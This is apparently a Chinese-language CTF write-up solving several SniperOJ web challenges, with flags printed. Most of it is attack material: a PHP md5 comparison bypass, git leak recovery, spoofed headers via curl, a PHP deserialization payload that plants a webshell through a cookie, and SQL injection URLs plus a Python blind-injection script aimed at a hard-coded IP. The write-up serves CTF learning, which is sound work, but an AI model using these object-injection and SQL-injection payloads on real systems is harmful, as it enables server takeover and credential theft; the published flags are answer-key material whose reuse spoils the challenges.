好久不做题了
$flag = 'SniperOJ{********************}';
if(isset($_POST['password'])){
$current_password = "QNKCDZO";
$password = $_POST['password'];
if (($current_password != $password)){
$current_password_md5 = md5($current_password);
$password_md5 = md5($password);
if($current_password_md5 == $password_md5){
echo '';
echo $flag;
}else{
echo('');
}
}else{
echo('');
}
}else{
echo('');
}
?>
然后这就简单了,随便用一个
SniperOJ{pHp_is_the_best_programming_language_in_the_world}
一看到题目中的参考资料发现…githacker???难道是源码泄露??一扫果然是
http://www.jianshu.com/p/e9923b65789e
使用的工具也是需要用一航大牛的,lijiejie的Githacker不可以荡下来git信息
工具地址
https://github.com/wangyihang/githacker
制作过程
mkdir misc
cd misc
git init
echo "my file" > index.php
git add index.php
git commit -m "Init commit"
echo "SniperOJ{xxxxxx}" > flag
git stash save "hide my flag"
git log
git reflog
作者:王一航
链接:http://www.jianshu.com/p/e9923b65789e
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
王大牛的做法是爆搜
cat `find .`
这个命令可以直接递归打印当前文件夹下所有的文件内容
然后看到了一条比较奇怪的 commit id
使用正常的git指令恢复如下
git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03
首先第一个列出撤销点
看到一个添加什么my secret,然后返回到改断点即可!
git stash list | tee
git stash pop # 或者使用 git stash apply
真是学习了,膜一发
首先看到说浏览器限制
User-Agent: SniperOJ-Web-Broswer
然后变成了如下
X-FORWARDED-FOR:127.0.0.1
一瞬间想到了jarvisoj 上的port 51,可以用curl来使他本地连接
使用一下语句
sudo curl -H "User-Agent: SniperOJ-Web-Broswer" -H "X-FORWARDED-FOR:127.0.0.1" --local-port 23333 http://120.24.215.80:10005/
但是不知道平台是咋了识别不了…嗯,方法肯定是对的…原来是需要公网IP…
居然是什么毛病都说了,怎么可能没有源码呢!扫一发
下载先来文件然后用vim -r 恢复文件得到代码
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
<div id="content">
Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
form>
session_start();
if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}
?>
<html>
<body>
<p><br/>Fuck, the powerline was suddenly cut off last night.p>
body>
html>
对于该题目还是有一些认识的,但是出于一些小错误一直蛋疼到很久猜解决
下面首先罗列一下坑点吧
1.一定要用php直接base64在urlencode!要不然貌似和自己在burp上加密的结果不一样?我擦,我也不知道为啥不一样!总之携代码解决
2.因为每次是追加的写入,所以在后面伪造文件的时候,构造一次要换一个文件名...
3.注意不要自己意淫把人家的private属性变成public!!!
然后我们直接写代码解决吧…嗯…
class Logger{
private $logFile='img/new3.php';
private $initMsg='';
private $exitMsg="";
}
print urlencode(base64_encode(serialize(new Logger())));
?>
上传小马,注意为了转移双引号中的post变量,我转义了$
然后得到之后用burp抓包构造cookie值如下
SniperOJ{761f3235f57b6664ac9eb2518edc1478}
首先扫描一下目录把
Class whatthefuck{
public $source="flag.php";
public function __toString()
{
return highlight_file($this->source,true);
}
}
echo serialize(new whatthefuck())."";
echo urlencode(serialize(array(new whatthefuck())))."";
?>
替换list值即可!
SniperOJ{85262fb1410766c53bdfe51d15b6c4e342d3d514}
提示了
http://120.24.215.80:10004/?username=admin'^0^1-- &password=123
http://120.24.215.80:10004/?username=admin'^1^1-- &password=123
http://120.24.215.80:10004/?username=admin' and 1-- &password=123
都可以构造盲注来着,但是没那么简单,貌似过滤了圆括号,limit,password,username字段,简直就是不可能用上述的盲注了…然后继续…
还是看了看大牛的提示…试一试
http://120.24.215.80:10004/?username=%27%20union%20select%20%201%2C1%2C1%23&password=1
发现存在注入点…当然了,因为过滤了password这个字段,直接去查询是不可能的,又不可以用圆括号,然后就想到了order by盲注嗯
类似的payload就是
?username=admin' union select 1,2,'%s' order by 3#&password=
因为第三列一般是password,这个可以通过order by 2猜测第二列是username大概猜测到嗯,然后注意申请的时候需要urlencode嗯。
直接上脚本
#_*_ coding:utf-8 _*_
import requests,re,string,urllib
sss=string.digits+string.uppercase+string.lowercase+'!'
url = 'http://120.24.215.80:10004?'
headers = {
'Host': '120.24.215.80:10004',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
}
flag=''
for l in range(1,50):
key=0
for i in range(len(sss)):
temp = flag+sss[i]
nowurl=url+"username=admin' union select 1,2,'"+temp+"' order by 3%23&password="
#print nowurl
html = requests.get(nowurl).text
#print html
if len(sss)==i-1:
break
if '2' in html:
continue
else :
flag+=sss[i-1]
print flag
key=1
break
if key==0:
break
print "the password is ",flag
得到
498C67B7C86B01BD68AB5CBAFD245B1B
不知道为啥脚本存在一定的失误…
然后需要加上外壳嗯…最终答案
SniperOJ{sniperoj}